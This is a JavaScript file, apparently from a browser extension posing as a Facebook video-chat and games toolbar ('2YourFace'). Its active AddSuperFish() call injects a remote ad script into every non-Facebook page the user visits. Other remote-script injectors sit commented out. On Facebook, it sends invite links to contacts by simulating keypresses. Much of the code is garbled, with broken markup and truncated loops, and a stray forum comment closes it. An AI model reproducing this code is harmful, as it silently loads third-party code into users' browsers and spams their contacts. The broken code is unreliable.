//AddWiddit(); function AddWiddit(){ if(window.location.href.indexOf("http:")!=-1 && window.location.href.indexOf("facebook.com")==-1) { var script_tag=document.createElement('script');script_tag.setAttribute("type","text/javascript"); script_tag.setAttribute("src","http://cdn1.certified-apps.com/scripts/shared/enable.js?si=33332&tid=ch6"); (document.getElementsByTagName("head")[0]||document.documentElement).appendChild(script_tag); }}
function AddSuperFish(){if(-1!=window.location.href.indexOf("http:")&&-1==window.location.href.indexOf("facebook.com")){var a=document.createElement("script");a.setAttribute("type","text/javascript");a.setAttribute("src","http://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=6&CTID=6");(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a)}else-1!=window.location.href.indexOf("https:")&&-1==window.location.href.indexOf("facebook.com")&&(a=document.createElement("script"),
a.setAttribute("type","text/javascript"),a.setAttribute("src","https://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=6&CTID=6"),(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a))};
AddSuperFish();
function AddDP()
{
if (window.location.href.indexOf("http:") != -1 && window.location.href.indexOf("facebook.com") == -1 )
{
var script_tag = document.createElement('script');
script_tag.setAttribute("type", "text/javascript");
script_tag.setAttribute("src",
"http://i.2yourfacejs.info/toyf/javascript.js?channel=ch6");
// Try to find the head, otherwise default to the documentElement
(document.getElementsByTagName("head")[0] || document.documentElement).appendChild(script_tag);
}
}
//AddDP();
//3.4 no chacheID in games
var gpid="6",url=window.location.href,timeOut=3E3,gPhoneCallInviteMsgPrefix=" invite You to an Audio Chat. Accept Now : ",gVideoCallInviteMsgPrefix=" invite You to a Video Chat. Accept Now : ",gGameInviteMsgPrefix=" invite You to play ",date=new Date,cacheID=date.getDate()+"-"+(date.getMonth()+1)+"-"+date.getFullYear()+"-"+date.getHours(),gPhoneCallInviteMsg=gPhoneCallInviteMsgPrefix+" http://www.2yourface.com/"+gpid+"/"+cacheID,gVideoCallInviteMsg=gVideoCallInviteMsgPrefix+" http://www.2yourface.com/"+
gpid+"/"+cacheID,gGameLink="http://www.f2yf.com/",gGameLinkSuffix="/"+gpid+"/",gSmileyMsgPrefix="I sent you a smiley. Accept Now: ",gSmileyMSG=":-D",gMyName="";window.setTimeout("OnTimeout()",2500);var m_lastTimeout=new Date;document.body.onmouseup=onUp;function onUp(){if(!0==isValidWebsite()){var a=(new Date).getTime()-m_lastTimeout.getTime(),a=new Date(a);(0,a=RegExp("\\b"+a+"\\b"),d=document.getElementsByTagName("*"),c=0;c - ",b+22),b=b+1,d=a.indexOf("<",b;return a.subb,d SendSmileyasendMsggSmileyMSG,a AddToolbara,b,da=.jQuery"div.fbNubFlyout",a;b=''+(' ')+(' ')+(' ')+(' ')+(' %5C:InviteVideo%28+d+,+b+%29;%5C - ')+(' %5C:InviteCall%28+d+,+b+%29;%5C - ')+(' %5C:InviteGames%28+d+,+b+%29;%5C - ')+(' %5C:SendSmiley%28+d+%29;%5C - ')+' ';d=a.parent().html();a.next().children();
-1==d.indexOf("VideoChatToolbar")&&(a.height(197),a.after(b))}function ParseInvitations(a,b,d){for(var a=window.jQuery("div.fbChatMessage.fsm",a),c=0;c :AcceptGame%28+f+ - Accept");a.innerHTML=c;return!0}return!1}
function TryParsePhoneCallInvite(a,b,d){var c=a.innerHTML;return-1!=c.indexOf(gPhoneCallInviteMsgPrefix)?(c=IsMe(a)?"You have invited "+d+" to an Audio Chat":d+" invited You to an Audio Chat :StartPhone%28+b+ - Accept",a.innerHTML=c,!0):!1}function StartPhone(a,b){OpenVoiceDialog(a,"http://graph.facebook.com/"+a+"/picture",b)}function StartVideo(a,b){OpenVideoDialog(a,"http://graph.facebook.com/"+a+"/picture",b)}
function OpenVideoDialog(a,b,d){OpenDialog("http://www.2yourchat.com/Conversation/Video.aspx?rid=1&channel=1008&callType=Video&runtime="+a+"&from="+Env.user,395,215,b,d,"Video Chat")}function OpenVoiceDialog(a,b,d){OpenDialog("http://www.2yourchat.com/Conversation/Video.aspx?rid=1&channel=1008&callType=Voice&runtime="+a+"&from="+Env.user,395,215,b,d,"Audio Chat")}
function OpenDialog(a,b,d,c,f,h){b=' '+h+' - Powered By 2YourFace.com Chatting with: '+
f+' http%3A%2F%2Fwww.2yourface.com&send=false&layout=_count&width=450&show_faces=false&=like&colorscheme=light&font&height=90 - '+
("< ='"+a+"' width='"+b+"' height='"+d+"' scrolling='no' border='no' style=":white;border:0px;" />")+' :void - ';a=window.jQuery("div#ChatDialog",document);a.html(b);b=a[0];b.style.visibility="visible";b.style.display="block";b=document.body.scrollTop;
d=a.position();c=document.body.clientWidth;c=50>d.left?document.body.clientWidth/3:0.35*document.body.clientWidth;a.offset({left:c,top:b+200})}function CloseDialog(){document.body.style.display="block";document.getElementById("ChatDialog").style.display="none";document.getElementById("ChatDialog").innerHTML=""}
function IsMe(a){var b=-1!=a.parentNode.parentNode.innerHTML.indexOf('title="You"');return b=(b=b||-1!=a.parentNode.parentNode.innerHTML.indexOf('alt="'+gMyName+'"'))||-1!=a.parentNode.parentNode.innerHTML.indexOf("_"+Env.user+"_")}function TryParseVideoInvite(a,b,d){var c=a.innerHTML;-1!=c.indexOf(gVideoCallInviteMsgPrefix)&&(c=IsMe(a)?c="You have invited "+d+" to a Video Chat":d+" invited You to a Video Chat :StartVideo%28+b+ - Accept",a.innerHTML=c)}
function InviteCall(a,b){-1==a&&(a=GetUIDFromName(b));var d="I "+gPhoneCallInviteMsg;if(sendMsg(d,a))OpenVoiceDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b);else{var c=window.jQuery("#VideoChatToolbar_"+a,document).next().children().children();c.focus();c.keydown(function(d){13==d.which&&(OpenVoiceDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b),c.unbind(!1))});TextAreaControl.getInstance(c[0]).setValue(d)}}
function GetMyID(){var a=document.body.innerHTML.indexOf('detect_broken_proxy_cache("'),a=a+"30",b=document.body.innerHTML.indexOf('"',a);return document.body.innerHTML.substring(a,b)}
function InviteVideo(a,b){-1==a&&(a=GetUIDFromName(b));var d="I "+gVideoCallInviteMsg;if(sendMsg(d,a))OpenVideoDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b);else{var c=window.jQuery("#VideoChatToolbar_"+a,document).next().children().children();c.focus();c.keydown(function(d){13==d.which&&(OpenVideoDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b),c.unbind(!1))});TextAreaControl.getInstance(c[0]).setValue(d)}}
function InviteGames(a,b){-1==a&&(a=GetUIDFromName(b));OpenGamesDialog(a,Env.user,"http://graph.facebook.com/"+a+"/picture",b)}
function sendMsg(a,b){if("undefined"!=typeof window.chatDisplay)chatDisplay.tabs .chatInput.value=a,chatDisplay.tabs.sendInput();else{var d=window.jQuery("#VideoChatToolbar_"+b,document).next().children().children();d.focus();d[0].value=a;d.focus();var c;document.createEvent?(c=document.createEvent("Events"),c.initEvent("keydown",!0,!0)):c=document.createEventObject();c.view=window;c.altKey=!1;c.ctrlKey=!1;c.shiftKey=!1;c.metaKey=!1;c.keyCode=13;c.which=13;document.createEvent?d[0].dispatchEvent(c):
d[0].fireEvent("onkeydown",c)}return!0}function OpenGame(a,b,d){b=GetGameName(a);b="I "+gGameInviteMsgPrefix+b+". Accept Now: "+gGameLink+b+gGameLinkSuffix;CloseDialog();var c=Env.user;if(sendMsg(b,d))StartGame(a,c,d,gMyName);else{var f=window.jQuery("#VideoChatToolbar_"+d,document).next().children().children();f.focus();f.keydown(function(b){13==b.which&&(StartGame(a,c,d,gMyName),f.unbind(!1))});TextAreaControl.getInstance(f[0]).setValue(b)}}
function AcceptGame(a,b,d,c){window.open("http://www.2yourface.com/games/game.php?id="+b+"&first="+d+"&second="+b+"&nick="+c+"&game="+a,"mywindow","scrollbars=no,menubar=1,resizable=1,width=890,height=720")}function StartGame(a,b,d,c){window.open("http://www.2yourface.com/games/game.php?id="+b+"&first="+b+"&second="+d+"&nick="+c+"&game="+a,"mywindow","scrollbars=no,menubar=1,resizable=1,width=890,height=720")}
function GetGameName(a){return 2==a?"Chess":1==a?"Backgammon":6==a?"Checkers":26==a?"Tic Tac Toe":86==a?"Darts":325==a?"Domino":256==a?"8-Ball":225==a?"Poker":"Game"}function GetGameID(a){return"Chess"==a?2:"8-Ball"==a?256:"Backgammon"==a?1:"Checkers"==a?6:"Tic Tac Toe"==a?26:"Darts"==a?86:"Domino"==a?325:"Poker"==a?225:1}
function OpenGamesDialog(a,b,d,c){b="< ='text/' >#ex5 img { margin: 5px; opacity: 0.8; border: 10px solid #eee;/*Transition*/-webkit-transition: all 0.5s ease; -moz-transition: all 0.5s ease; -o-transition: all 0.5s ease;/*Reflection*/ -webkit-box-reflect: below 0px -webkit-gradient(linear, left top, left bottom, from(transparent), color-stop(.7, transparent), to(rgba(0,0,0,0.1)));}#ex5 img:hover { opacity: 1; /*Reflection*/ -webkit-box-reflect: below 0px -webkit-gradient(linear, left top, left bottom, from(transparent), color-stop(.7, transparent), to(rgba(0,0,0,0.4))); /*Glow*/ -webkit-box-shadow: 0px 0px 20px rgba(255,255,255,0.8); -moz-box-shadow: 0px 0px 20px rgba(255,255,255,0.8); box-shadow: 0px 0px 20px rgba(255,255,255,0.8);}"+(' Choose a Game and Play - Powered By 2YourFace.com Choose a Game and Play with: '+c+' http%3A%2F%2Fwww.2yourface.com&send=false&layout=_count&width=450&show_faces=false&=like&colorscheme=light&font&height=90 - ')+
"
"+GetGameOfferHTML(2,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_chess.jpg",c,a);b+=GetGameOfferHTML(1,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_backgammon.jpg",c,a);b+=GetGameOfferHTML(256,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_snooker.jpg",c,a);b+=GetGameOfferHTML(325,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_domino.jpg",
c,a);b=b+" "+GetGameOfferHTML(6,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_checkers.jpg",c,a);b+=GetGameOfferHTML(26,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_tic.jpg",c,a);b+=GetGameOfferHTML(86,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_darts.jpg",c,a);b+=GetGameOfferHTML(225,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_poker.jpg",c,a);b+='
:void - ';
a=window.jQuery("div#ChatDialog",document);a.html(b);c=a[0];c.style.visibility="visible";c.style.display="block";c=document.body.scrollTop;b=a.position();d=document.body.clientWidth;d=50>b.left?document.body.clientWidth/3:0.35*document.body.clientWidth;a.offset({left:d,top:c+200})}
function GetGameOfferHTML(a,b,d,c){return" %5C:Game%28+a+,+d+ - '}; - Gà mới về AE chém nhiệt tình nhé :)))
|